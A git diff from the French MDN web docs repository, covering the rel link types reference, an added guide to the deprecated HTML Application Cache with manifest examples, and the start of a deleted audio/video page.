- Note : les autres types de lien permettant une navigation séquentielle sont : last, prev, next (pour respectivement la dernière, la précédente et la suivante).
-
- Bien que les synonymems begin et start puissent être reconnus, ils sont incorrects et devraient être évités.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
help -
    -
  • Si l'élément est un élément {{HTMLElement("a")}} ou {{HTMLElement("area")}}, ce type indique que l'hyperlien mène vers une ressource contenant de l'aide sur l'utilisation de l'élément parent du lien et de ses descendants.
    • -
  • Si l'élément est un élément {{HTMLElement("link")}}, ce type indique que l'hyperlien mène vers une ressource fournissant une aide à propos de la page entière.
    • -
- 		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}Aucun.
iconCe type définit une ressource qui représente la page dans l'interface utilisateur. C'est généralement une icône (visuelle ou auditive).
-
- Les attributs {{htmlattrxref("media","link")}}, {{htmlattrxref("type","link")}} et {{htmlattrxref("sizes","link")}} permettent au navigateur de choisir l'icône la plus appropriée au contexte. Si plusieurs ressources sont équivalentes, le navigateur sélectionnera celle qui est déclarée en dernière, dans l'ordre des éléments de l'arbre du document. Ces attributs ne sont que des indications et les ressources associées peuvent ne pas correspondre, auquel cas, le navigateur en sélectionnera une autre s'il en existe une adéquate.
-
- Note : sur iOS, ce type de lien n'est pas utilisé, à la place, ce sont les relations ({{htmlattrxref("rel","link")}}) apple-touch-icon et apple-touch-startup-image qui sont utilisées.
-
- Le type de lien shortcut est souvent vu avant icon mais il n'est pas conforme et les navigateurs l'ignorent, c'est pourquoi il ne doit plus être utilisé.		{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
import{{experimental_inline}}Imports de ressource en HTML{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
index {{obsolete_inline}}Ce type indique que la page fait partie d'une structure hiérarchique et que l'hyperlien renvoie au niveau le plus haut de cette structure.
-
- Si un ou plusieurs liens de type up sont présent, la quantité de ces liens indique la profondeur de la page courante au sein de la hiérarchie.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
last {{obsolete_inline}} -

Ce type indique que l'hyperlien mène à la dernière ressource dans la série de ressources à laquelle appartient la page actuelle.
-
- Note : les autres types de lien permettant une navigation séquentielle sont : first, prev, next (pour respectivement la première, la précédente et la suivante).

- -

Bien que le synonyme end puisse être reconnu, il est incorrect et doit être évité.

- 		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}Aucun.
licenseCe type de lien mène vers un document contenant des informations relatives à la licence appliquée au contenu. Si le lien n'est pas dans l'élément {{HTMLElement("head")}}, le standard n'indique pas que la licence doit s'appliquer à tout ou partie du document, seules les données de la page permettent de le savoir.
-
- Note : bien qu'il puisse être reconnu, le synonyme copyright est incorrect et doit être évité.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}Aucun.
manifestCe type de lien indique que la ressource liée est un manifeste d'application web.{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
modulepreloadInitialise le chargement anticipé (et prioritaire) des modules de scripts{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
nextCe type indique que l'hyperlien mène à la prochaine ressource dans la série de ressources à laquelle appartient la page actuelle.
-
- Note : les autres types de lien permettant une navigation séquentielle sont : first, prev, last (pour respectivement la première, la précédente et la dernière).		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}Aucun.
nofollowCe type de lien indique que le document lié n'est pas approuvé par l'auteur du document actuel, par exemple s'il n'a aucun contrôle envers le document lié ou si le document est un mauvais exemple ou encore s'il existe une relation commerciale (le lien a été vendu). Ce type de lien peut être utilisé par certains moteurs de recherche qui utilise des classements selon la popularité des documents.{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}{{HTMLElement("link")}}
noopener -

Ce type de lien indique au navigateur d'ouvrir le lien sans que le nouveau contexte de navigation créé ait accès au document qui contenait le lien (techniquement la propriété {{domxref("Window.opener")}} renverra null).
-
- Ce type est particulièrement utile lorsqu'on ouvre un lien pour lequel on ne veut pas qu'il puisse interagir avec le document source (voir également l'article About rel=noopener pour plus de détails) tout en fournissant un référent via l'en-tête HTTP (à moins que noreferrer n'y soit également utilisé).

- -

Lorsque noopener est utilisé, les noms utilisés pour l'attribut target, qui ne sont pas vides et qui ne sont pas _top, _self ou _parent sont alors traités comme s'ils étaient synonymes de _blank lorsqu'il s'agit de décider d'ouvrir une nouvelle fenêtre ou un nouvel onglet.

- 		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}{{HTMLElement("link")}}
noreferrer -

Ce type de lien empêche le navigateur, lorsqu'on navigue vers une autre page, que le l'adresse de la page ou toute autre valeur soit fournie via l'en-tête HTTP {{HTTPHeader("Referer")}}.
- (Dans Firefox, avant Firefox 37, ce type ne fonctionnait que pour les liens sur lesquels on cliquait directement, lorsqu'on utilisait un menu « Ouvrir dans un nouvel onglet », ce type était ignoré.

- 		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}{{HTMLElement("link")}}
opener {{experimental_inline}} {{non-standard_inline}}Annule l'effet de l'ajout implicite de  rel="noopener" sur les liens qui possèdent explicitement target="_blank" (voir la discussion sur les spécifications HTML, la modification WebKit change et la discussion sur le bug Firefox correspondant).{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}{{HTMLElement("link")}}
pingbackCe type définit une URI vers une ressource externee qui doit être appelée si quelqu'un ajoute un commentaire ou une citation à propos de la page web courant. Le protocole pour un tel appel est défini dans la spécification Pingback 1.0.
-
- Note : si l'en-tête HTTP {{HTTPHeader("X-Pingback")}} est également présent, celui-ci aura la prioriété sur l'élément {{HTMLElement("link")}} avec ce type de lien.		{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
preconnect {{experimental_inline}}Ce type de lien suggère au navigateur d'ouvrir une connexion vers le site web visé de façon anticipée, sans diffuser d'information privée et sans télécharger de contenu. Il est utilisé afin de pouvoir récupérer le contenu lié plus rapidement.{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
prefetchCe type de lien suggère au navigateur de récupérer la ressource liée de façon anticipée phase car il est probable que l'utilisateur la demande. À partir de Firefox 44, la valeur de l'attribut {{htmlattrxref("crossorigin", "link")}} est prise en compte, ce qui permet d'effectuer des récupérations anticipées anonymes.
-
- Note : la FAQ sur prefetch explique quels liens peuvent être récupérés de façon anticipée et quelles peuvent être les méthodes alternatives.		{{HTMLElement("a")}} {{unimplemented_inline}},
- {{HTMLElement("area")}} {{unimplemented_inline}},
- {{HTMLElement("link")}}		{{HTMLElement("form")}}
preload -

Ce type de lien indique au navigateur de précharger une ressource car celle-ci sera nécessaire par la suite lors de la navigation.

- -

Voir l'article Précharger du contenu grâce à rel="preload" pour plus d'informations.

- 		{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
prerender {{experimental_inline}}Ce type de lien suggère au navigateur de récupérer la ressource liée en avance et de préparer son rendu hors de l'écran afin qu'elle puisse être présentée rapidement à l'utilisateur lorsqu'elle sera nécessaire.{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
prevCe type indique que l'hyperlien mène à la ressource précédente dans la série de ressources à laquelle appartient la page actuelle.
-
- Note : les autres types de lien permettant une navigation séquentielle sont : first, next, last (pour respectivement la première, la suivante et la dernière).
-
- Bien que la valeur previous soit reconnue comme synonyme, elle est incorrecte et ne doit pas être utilisée.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}, {{HTMLElement("form")}}Aucun.
searchCe type de lien indique que l'hyperlien cible un document dont l'interface est destinée à la recherche sur ce document, sur ce site ou sur les ressources associées.
-
- Si l'attribut {{htmlattrxref("type","link")}} vaut application/opensearchdescription+xml, la ressource est un plugin OpenSearch qui peut facilement être ajouté à l'interface de certains navigateurs comme Firefox ou Internet Explorer.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}, {{HTMLElement("form")}}Aucun.
sidebar {{non-standard_inline}}Ce type indique que l'hyperlien mène vers une ressource qui serait plus pertinente au sein d'un contexte de navigation secondaire tel qu'une barre latérale. Les navigateurs qui ne possèdent pas de tel contexte ignoreront ce mot-clé.
-
- Bien que ce type de lien ait fait partie de la spécification HTML, il a été retiré de la spécification et est uniquement implémenté par Firefox pour les versions antérieures à Firefox 63.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
stylesheetCe type de lien définit une ressource externe qui doit être utilisée comme une feuille de style. Si le type de la ressource n'est pas défini, le navigateur considèrera que c'est une feuille de style text/css.
-
- Utilisé avec le mot-clé alternate, il permet de définir une feuille de style alternative auquel cas l'atttribut {{htmlattrxref("title", "link")}} doit être présent et ne doit pas être la chaîne vide.		{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
tagCe type indique que l'hyperlien fait référence à un document qui décrit l'étiquette (le tag) appliquée à ce document.
-
- Note : ce type de lien ne doit pas être utilisé pour renvoyer vers un nuage de tags car ce dernier concerne un ensemble de pages et pas uniquement le document courant.		{{HTMLElement("a")}}, {{HTMLElement("area")}}{{HTMLElement("link")}}, {{HTMLElement("form")}}
up {{obsolete_inline}}Ce type de lien indique que la page fait partie d'une structure hiérarchique et que l'hyperlien mène vers une ressource située au niveau supérieur de cette structure.
-
- Le nombre de up indique la différence de profondeur dans la hiérarchie entre la page courante et la page associée.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Preload','#x2.link-type-preload','preload')}}{{Spec2('Preload')}}Ajout du type preload.
{{SpecName('Resource Hints', '#dfn-preconnect', 'preconnect')}}{{Spec2('Resource Hints')}}Ajout des types dns-prefetch, preconnect et prerender.
{{SpecName("HTML WHATWG", "links.html#linkTypes", "link types")}}{{Spec2('HTML WHATWG')}}Ajout de opener. noopener devient le comportement par défaut pour les liens avec target="_blank".
{{SpecName("HTML5 W3C", "links.html#linkTypes", "link types")}}{{Spec2('HTML5 W3C')}}Ajout de tag, search, prefetch, noreferrer, nofollow, icon et author.
- Renommage de copyright en license.
- Suppression de start, chapter, section, subsection et appendix
{{SpecName("HTML4.01", "types.html#type-links", "link types")}}{{Spec2('HTML4.01')}}Ajout de alternate, stylesheet, start, chapter, section, subsection, appendix et bookmark.
- Renomme previous en prev.
- Suppression de top et search.
{{SpecName("HTML3.2", "#link", "<link>")}}ObsolèteAjout de top, contents, index, glossary, copyright, next, previous, help et search.
{{RFC(1866, "HTML 2.0")}}ObsolèteDéfinition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.elements.link.rel")}}

- -

Voir aussi

- -
    -
  • {{HTMLElement("link")}}
    • -
  • {{HTMLElement("a")}}
    • -
  • {{HTMLElement("area")}}
    • -
diff --git a/files/fr/web/html/using_the_application_cache/index.html b/files/fr/web/html/using_the_application_cache/index.html new file mode 100644 index 0000000000..ccc78772a8 --- /dev/null +++ b/files/fr/web/html/using_the_application_cache/index.html @@ -0,0 +1,338 @@ +--- +title: Utiliser Application Cache +slug: Web/HTML/Utiliser_Application_Cache +tags: + - Avancé + - Cache + - Déprécié + - Guide + - HTML + - appcache +translation_of: Web/HTML/Using_the_application_cache +--- +
{{DefaultAPISidebar("App Cache")}}{{securecontext_header}}{{deprecated_header}}
+ +
+

Attention ! L'utilisation de la fonction de mise en cache d'application décrite ici est actuellement fortement déconseillée; cette fonctionnalité est en train d' être retiré de la plate-forme Web. Utiliser Service Workers à la place. En fait, à partir de Firefox 44, quand l'application cache est utilisé pour fournir une aide hors ligne pour une page, un message d'avertissement est maintenant affiché dans la console conseillant aux développeurs d'utiliser Service workers à la place ({{bug("1204581")}}).

+
+ +

Introduction

+ +

HTML5 supporte la mise en cache hors-ligne de ressources d'applications web; les fichiers sont stockés dans l'Application Cache (AppCache) - une collection de ressources obtenues depuis un fichier manifest (*.appcache) inclue dans une application web.

+ +

L'utilisation d'une application cache permet les bénéfices suivants :

+ +
    +
  • Navigation hors-ligne : les utilisateurs peuvent utiliser un site même s'ils ne sont pas connectés.
    • +
  • Vitesse : les ressources mises en cache sont locales, et se chargent donc plus rapidement.
    • +
  • Réduction de la charge serveur : le navigateur ne télécharge uniquement les ressources qui ont changées sur le serveur.
    • +
+ +
+

Comment fonctionne AppCache

+ +

Activer AppCache

+ +

Vous devez, pour utiliser le cache d'application, utiliser l'attribut manifest dans l'élément <html> comme suit :

+ +
<html manifest="example.appcache">
+  ...
+</html>
+ +

L'attribut manifest spécifie l'URI d'un manifeste de cache, qui est un fichier texte qui répertorie les ressources (fichiers) que le navigateur doit mettre en cache pour votre application.

+ +

Vous devez inclure l'attribut manifest sur chaque page de votre application que vous souhaitez mettre en cache. Le navigateur met pas en cache les pages qui ne contiennent pas l'attribut manifest, sauf si celle-ci sont explicitement mentionnées dans le manifeste même. Vous ne devez pas lister toutes les pages que vous souhaitez mettre en cache dans le fichier manifeste, le navigateur ajoute implicitement chaque page que l'utilisateur visite et qui possède l'attribut manifest réglé sur le cache de l'application.

+ +

Certains navigateurs dont Firefox vont avertir l'utilisateur la première fois que celui-ci charge votre application par une notification :

+ +

« Ce site internet (www.example.com) veut stocker des données sur votre ordinateur pour une utilisation hors-ligne. [Accepter] [Refuser pour ce site] [Pas maintenant] ».

+ +

Le terme « d'applications (fonctionnant) hors-ligne » est parfois utilisé pour désigner les applications que l'utilisateur a autorisé à travailler hors-ligne.

+ +

Chargement des documents

+ +

L'utilisation d'un cache de l'application modifie le processus normal de chargement d'un document :

+ +
    +
  • Si un cache de l'application existe, le navigateur charge le document et ses ressources associées directement à partir de la mémoire cache, sans accéder au réseau. Cela accélère le temps de chargement du document.
    • +
  • Le navigateur vérifie ensuite si le manifeste de cache a été mis à jour sur le serveur.
    • +
  • Si le manifeste de cache a été mis à jour, le navigateur télécharge une nouvelle version du manifeste et les ressources figurant dans  ce dernier. Cela se fait en arrière-plan et n'affecte pas les performances de manière significative.
    • +
+ +

Le procédé de chargement de documents et mise à jour du cache de l'application est définie de manière plus détaillée ci-dessous:

+ +
    +
  1. Quand le navigateur visite un document qui contient l'attribut manifest et qu'il n'existe pas encore de cache d'application, il chargera le document puis récupérera toutes les entrées listées dans le manifeste, créant ainsi la première version du cache d'application.
    2. +
  2. Lors des visites ultérieures de ce document, le navigateur chargera le document et les autres ressources précisées dans le manifeste à partir du cache d'application — et non du serveur. De plus, le navigateur enverra aussi un évènement checking à l'objet window.applicationCache, puis récupère le manifeste en fonction de la règle de cache HTTP adéquate.
    3. +
  3. Si la version en cache du manifeste est à jour, l'évènement noupdate est envoyé a l'applicationCache, et le processus de mise à jour est terminé. C'est la raison pour laquelle vous devez changer le manifeste chaque fois que vous mettez à jour les ressources sur le serveur, afin que le navigateur sache qu'il doit de nouveau récupérer les ressources.
    4. +
  4. Si le manifeste a changé, tous les fichiers dans le manifeste (dont ceux ajoutés au cache lors de l'appel à applicationCache.add()) sont récupérés dans un cache temporaire, en fonction des règles de cache HTTP adéquates. Un évènement progress est envoyé à l'objet applicationCache chaque fois qu'un fichier est récupéré dans le cache temporaire. Un évènement error est envoyé à chaque erreur, et la mise à jour s'arrête.
    5. +
  5. Une fois tous les fichiers récupérés en bonne et due forme, ils sont transférés dans le véritable cache hors-ligne un par un, et un évènement cached est envoyé à l'objet applicationCache. Le document étant déjà chargé dans le navigateur depuis le cache, le document mis à jour ne sera pas ré-affiché tant que celui-ci n'est pas chargé à nouveau (que ce soit manuellement ou via un programme).
    6. +
+ +

Emplacement du stockage et effacement du cache hors-ligne

+ +

Dans Chrome, le cache hors-ligne peut être effacé grâce au bouton "Effacer les données de navigation..." dans les préférences, ou en ouvrant chrome://appcache-internals/. Safari a un paramètre "Vider le cache" dans ses préférences, mais il est possible que le redémarrage du navigateur soit nécessaire.

+ +

Dans Firefox, les données de cache hors-ligne sont stockées séparément du profil Firefox—à côté du cache disque normal :

+ +
    +
  • Windows Vista/7: C:\Users\<username>\AppData\Local\Mozilla\Firefox\Profiles\<salt>.<profile name>\OfflineCache
    • +
  • Mac/Linux: /Users/<username>/Library/Caches/Firefox/Profiles/<salt>.<profile name>/OfflineCache
    • +
+ +

Dans Firefox l'état actuel du cache hors-ligne est consultable sur la page about:cache (dans la section "Offline cache device"). Le cache hors-ligne peut être effacé pour chaque site individuellement à l'aide du boutton "Supprimer..." dans  Menu -> Options -> Avancé -> Réseau -> Contenu web et données utilisateur hors connexion.

+ +

Avant Firefox 11, ni Tools -> Clear Recent History ni Tools -> Options -> Advanced -> Network -> Offline data -> Clear Now ne permettaient d'effacer le cache hors-ligne. Ceci a été corrigé.

+ +

Voir aussi effacer les données de stockage DOM.

+ +

Les caches d'application peuvent aussi devenir obsolètes. Si le manifeste d'une application est retiré du serveur, le navigateur efface toutes les données cachées utilisant ce manifeste, et déclenche un event "obsoleted" à l'objet applicationCache. Le statut du cache de l'application est alors OBSOLETE.

+ +

Le manifeste du cache

+ +

Référencement d'un fichier de manifeste de cache

+ +

L'attribut manifest dans une application web peut spécifier le chemin relatif d'un manifeste de cache ou une URL absolue. (Les URL absolues doivent être de la même origine que l'application). Le manifeste du cache peut avoir une extension de fichier, mais il doit être servi avec le MIME type text/cache-manifest.

+ +
Note: Sur les serveurs Apache, le MIME type pour les fichiers manifest (.appcache) peut être défini par l'ajout de AddType text/cache-manifest .appcache à un fichier a .htaccess soit à l'intérieur du répertoire racine, soit le même répertoire que l'application.
+ +

Les entrées dans un manifeste de cache

+ +

Le fichier manifest de cache est un simple fichier de texte qui liste les ressources que le navigateur doit cache pour l'accès hors ligne. Les ressources sont identifiées par URI. Les entrées listées dans le manifeste de cache doivent avoir le même plan, hôte, et port comme un manifest.

+ +

Example 1: Un fichier manifeste simple

+ +

Ci-dessous, un exemple simple de manifeste — example.appcache utilisé par le site imaginaire www.example.com:

+ +
CACHE MANIFEST
+# v1 - 2011-08-13
+# Ceci est un commentaire.
+https://www.example.com/index.html
+https://www.example.com/header.png
+https://www.example.com/blah/blah
+
+ +

Il n'y a pas, dans cet exemple, d'en-tête de section, donc toutes les lignes sont supposées être des sections (CACHE:) explicites. On peut aussi utiliser des URL relatives (index.html, …)

+ +

Le commentaire « v1 » n'est pas là par hasard : le cache n'est mis à jour que quand le manifeste change, avec une correspondance d'octet à octet. Si vous utilisez d'autres ressources (par exemple en mettant à jour le contenu de l'image header.png), vous devez changer le manifeste pour signaller au navigateur qu'il doit rafraîchir le cache, et, comme header.png est déjà présent dans le cache, vous devez modifier quelquechose d'autre. Bien que vous puissiez changer n'importe quoi d'autre dans le manifest, utiliser un numéro de version est une bonne pratique conseillée.

+ +
Important: N'utilisez pas le manifeste lui-même dans le fichier de manifeste : il vous serait alors quasiment impossible d'informer le navigateur lors de la mise à jour du manifeste.
+ +

Des sections dans un manifeste de cache: CACHE, NETWORK, et FALLBACK

+ +

Un manifeste peut avoir trois sections distinctes: CACHE, NETWORK, et FALLBACK.

+ +
+
CACHE:
+
Ceci est la section par défaut pour les entrées dans un manifeste de cache. Les fichiers sont répertoriés sous le CACHE: l'en-tête de section (ou immédiatement après la ligne MANIFESTE CACHE) est explicitement mis en cache après qu'il ait été téléchargé pour la première fois.
+
NETWORK:
+
Les fichiers répertoriés dans le NETWORK: l'en-tête de section dans le fichier manifeste de cache est une ressource de la liste blanche qui nécessite une connexion au serveur. Toutes les demandes à cette ressource contournent le cache, même si l'utilisateur est déconnecté. Le caractère générique * peut être utilisé qu'une seule fois. La plupart des sites en ont besoin *.
+
FALLBACK:
+
Le FALLBACK: section qui spécifie les pages de repli que le navigateur doit utiliser si une ressource est inaccessible. Chaque entrée dans cette section répertorie deux URIs (le premier est la ressource, le second est le repli). Les deux URIs doivent être relatif et de la même origine que le fichier manifeste. Les Wildcards peuvent être utilisés.
+
+ +

Les sections CACHE, NETWORK, et FALLBACK peuvent être listés dans n'importe  quel ordre dans un manifeste de cache, et chaque section peut apparaître plus qu'une fois dans un simple manifeste.

+ +

Example 2 : Un manifeste de cache plus complet

+ +

Voici un exemple plus complet de manifeste pour notre site imaginaire www.example.com.

+ +
CACHE MANIFEST
+# v1 2011-08-14
+# Ceci est un autre commentaire
+index.html
+cache.html
+style.css
+image1.png
+
+# Contenu Fallback
+FALLBACK:
+. fallback.html
+
+# L'utilise depuis le network (réseau) si il est disponible
+NETWORK:
+network.html
+ +

Nous utilisons dans cet exemple les sections FALLBACK et NETWORK pour préciser que la page network.html doit toujours être récupérée depuis le réseau et que la page fallback.html doit être utilisée comme ressource de secours, par exemple si la connexion au serveur ne peut être établie.

+ +

Structure d'un manifeste

+ +

Les manifestes doivent être servis avec le type MIME text/cache-manifest, et toutes les ressources servies en utilisant ce type MIME doivent respecter la syntaxe d'un manifeste, comme défini ici.

+ +

Les manifestes sont des fichiers textes au format UTF-8 et peuvent, éventuellement, inclure un caractère BOM. Les nouvelles lignes peuvent être représentés par saut de ligne (U+000A), retour chariot (U+000D), ou les deux.

+ +

La première ligne du manifeste doit être la chaine CACHE MANIFEST (séparé par un simple espace U+0020), suivi par aucun ou plusieurs espaces ou tabulations. Tout autre texte sur la ligne sera ignoré.

+ +

Le reste du manifeste peut contenir 0 ou plusieurs lignes :

+ +
+
Lines vides
+
Vous pouvez utiliser les lignes vides comprenant 0 ou plusieurs espaces ou tabulations.
+
Commentaire
+
Les commentaires consistent en 0 ou plusieurs espaces ou tabulations suivis du caractère #, suivi de 0 ou plusieurs caractères de texte. Les commentaires devraient être utilisés seulement sur leur propre ligne, et ne devrait pas être ajoutés à d'autres lignes. Cela signifie également que vous ne pouvez pas spécifier les identifiants de fragments.
+
Section de tête
+
La section header précise la section du cache qui est manipulée. Il en existe trois types:
+
+ +
+ + + + + + + + + + + + + + + + + + + +
Section headerDescription
CACHE:Passe à la section explicite. C'est la section par défaut.
NETWORK:Passe à la section des sections en ligne sur la liste blanche.
FALLBACK:Passe à la section de secours.
+
+ +
+
La ligne d'en-tête de section peut contenir des espaces, mais doit inclure un « : » dans le nom de la section.
+
Section data
+
Le format des lignes de données varie selon les sections. Dans la section explicite (CACHE:) chaque ligne contient une référence URI ou IRI à une ressource en cache (aucun caractère joker n'est admis dans cette section). Des espaces sont accepté avant et après l'URI on l'IRI sur chaque ligne. Dans la section de secours, chaque ligne est une référence URI ou IRI vers une ressource, suivie d'une ressource de secours qui sera utilisée lorsque la connexion au serveur ne peut être établie. Dans la section en ligne, chaque ligne est une référence valide URI ou IRI à une ressource qui sera récupérée sur le réseau (le caractère joker « * » est autorisé dans cette section). +
Note: Les URI relatives pointent vers les URI du manifeste, et non vers les URI du document qui référence le manifeste.
+
+
+ +

Le manifeste peut passer à l'envie d'une section à l'autre (chaque en-tête de section peut être utilisée plusieurs fois), et les sections vides sont tolérées.

+ +

Les ressources dans AppCache

+ +

Le cache inclue toujours au moins une ressource, identifiée par URI. Toutes les ressources répondent à une des catégories suivantes :

+ +
+
Entrées Maitres
+
Il s'agit de ressources ajoutées au cache parce qu'un contexte de navigation visité par l'utilisateur incluait un document qui indiquait que ces ressources étaient dans le cache en utilisant son attribut manifest.
+
Entrées Explicites
+
Il s'agit de ressources listées dans le manifeste du cache.
+
Entrées Network
+
Il s'agit de ressources listées dans le manifeste du cache comme entrées de network.
+
Entrées Fallback
+
Il s'agit de ressources listées dans le manifeste du cache comme entrées de fallback. {{fx_minversion_inline("3")}}
+
+ +
Note : Les ressources peuvent être marquées dans plusieurs catégories, et peuvent donc être catégorisées comme des entrées multiples. Par exemple, une entrée peut être à la fois une entrée explicite et une entrée de fallback.
+ +

Les catégories ressources sont décrites en détail ci-dessous.

+ +

Entrées Maitres

+ +

Tous les fichiers HTML peuvent inclure un attribut {{htmlattrxref("manifest","html")}} dans leur élément {{HTMLElement("html")}}. Par exemple, disons que nous avons le fichier https://www.example.com/entry.html, qui ressemble à ça :

+ +
<html manifest="example.appcache">
+  <h1>Application Cache Example</h1>
+</html>
+
+ +

Si entry.html n'est pas inclue dans le manifeste, visiter la page entry.html provoquera l'ajout de la page entry.html dans le cache de l'application comme une master entry.

+ +

Entrées Explicites

+ +

Les entrées explicites sont des ressources explicitement listées dans la section CACHE d'un manifeste de cache.

+ +

Entrées Network

+ +

Les entrées listées dans NETWORK : peuvent contenir plusieurs ou aucune ressource que l'application requiert lors d'un accès en ligne. C'est principalement une liste blanche en ligne. Les URIS spécifiées dans la section NETWORK sont chargées depuis le serveur plutôt que depuis le cache. Cela permet au modèle de sécurité du navigateur de protéger l'utilisateur de possibles brèches de sécurité en limitant l'accès aux seules ressources approuvées.

+ +
Note : La liste blanche en ligne est ignorée pour les versions de Firefox antérieures à 3.5.
+ +

Vous pouvez l'utiliser pour, par exemple, charger et exécuter des scripts et d'autres codes depuis le serveur au lieu du cache. :

+ +
CACHE MANIFEST
+NETWORK:
+/api
+
+ +

Ceci assure que les requêtes téléchargent les ressources contenues dans https://www.example.com/api/ viendront toujours du réseau sans essayer d'accéder au cache.

+ +
Note : Juste omettre les master entries (les fichiers qui ont l'attribut manifest défini dans l'élément html) dans le manifeste n'aurait pas le même comportement parce que les master entries seront ajoutées — et donc servies depuis— le cache. 
+ +

Entrées Fallback

+ +

Les entrées de fallback sont utilisées quand une tentative de chargement d'une ressource échoue. Par exemple, imaginons qu'il y a un manifeste situé à https://www.example.com/example.appcache, et qui contient :

+ +
CACHE MANIFEST
+FALLBACK:
+example/bar/ example.html
+
+ +

Toute requête vers https://www.example.com/example/bar/ ou n'importe lequel de ses sous-répertoires et contenus provoquera une tentative de chargement de la ressource demandée. Si la tentative échoue, soit à cause d'un échec réseau ou d'une erreur serveur quelle qu'elle soit, le contenu du fichier example.html sera chargé à la place.

+ +

Les états

+ +

Chaque cache a un statut qui indique la condition actuelle du cache. Les caches qui partagent la même URI de manifeste partagent le même statut, qui est un des suivants :

+ +
+
UNCACHED
+
Une valeur spéciale qui indique qu'un object application cache n'est pas complètement initialisée.
+
IDLE
+
Le cache n'est pas en cours de mise à jour.
+
CHECKING
+
Le manifeste est en train d'être contrôlé pour d'éventuelles mises à jour.
+
DOWNLOADING
+
Des ressources sont en train d'être téléchargées pour être ajoutées au cache, dû à un changement du manifeste.
+
UPDATEREADY
+
Il y a une nouvelle version du cache disponible. Il y a un évènement updateready correspondant, qui est lancé au lieu de l'évènement cached quand une nouvelle mise à jour a été téléchargée mais pas encore activée via la méthode swapCache().
+
OBSOLETE
+
Le groupe de caches est maintenant obsolète.
+
+ +

Test pour les mises à jour des manifestes de cache

+ +

Vous pouvez programmer un test pour voir si une application possède un manifeste de cache à jour en utilisant JavaScript. Depuis un manifeste de cache peut être été mis à jour avant un script qui teste si les événements sont à jour, les scripts doivent toujours tester window.applicationCache.status.

+ +
function onUpdateReady() {
+  console.log('nouvelle version trouvée !');
+}
+window.applicationCache.addEventListener('updateready', onUpdateReady);
+if(window.applicationCache.status === window.applicationCache.UPDATEREADY) {
+  onUpdateReady();
+}
+ +

Pour démarrer manuellement le test pour un nouveau manifeste de cache, vous pouvez utilisez window.applicationCache.update().

+ +

Pièges

+ +
    +
  • Ne jamais accéder à des fichiers mis en cache à l'aide des paramètres GET traditionnels (comme other-cached-page.html?parameterName=value). Cela rendra le contournement du navigateur du cache et de tenter de l'obtenir à partir du réseau. Pour créer un lien vers les ressources mises en cache qui ont des paramètres analysés dans les paramètres d'utilisation de JavaScript dans la partie de hach de la liaison, comme other-cached-page.html#whatever?parameterName=value.
    • +
  • Lorsque les applications sont mises en cache, mettant simplement à jour les ressources (fichiers) qui sont utilisés dans une page Web mais cela ne suffit pas à mettre à jour les fichiers qui ont été mis en cache. Vous devez mettre à jour le fichier manifeste de cache lui-même avant que le navigateur récupère et utilise les fichiers mis à jour. Vous pouvez le faire par programmewindow.applicationCache.swapCache(), si les ressources qui ont déjà été chargées ne seront pas affectés. Pour vous assurer que les ressources sont chargées à partir d'une nouvelle version du cache de l'application, rafraîchir la page est idéal.
    • +
  • Il est une bonne idée de mettre des en-têtes expirés sur votre serveur web pour les fichiers * .appcache pour qu'ils expirent immédiatement. Cela évite le risque de mise en cache des fichiers manifestes. Par exemple, dans Apache, vous pouvez spécifier une telle configuration comme suit:
    + ExpiresByType text/cache-manifest "access plus 0 seconds"
    • +
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.elements.html.manifest")}}

+ +

Voir aussi

+ + +
diff --git a/files/fr/web/html/utilisation_d'audio_et_video_en_html5/index.html b/files/fr/web/html/utilisation_d'audio_et_video_en_html5/index.html deleted file mode 100644 index efa30853e6..0000000000 --- a/files/fr/web/html/utilisation_d'audio_et_video_en_html5/index.html +++ /dev/null @@ -1,245 +0,0 @@ ---- -title: Utilisation d'audio et video en HTML5 -slug: Web/HTML/Utilisation_d'audio_et_video_en_HTML5 -tags: - - Aperçu - - Featured - - Guide - - HTML - - HTML5 - - Media - - Web -translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content -translation_of_original: Web/Guide/HTML/Using_HTML5_audio_and_video ---- -

{{ gecko_minversion_header("1.9.1") }}

- -

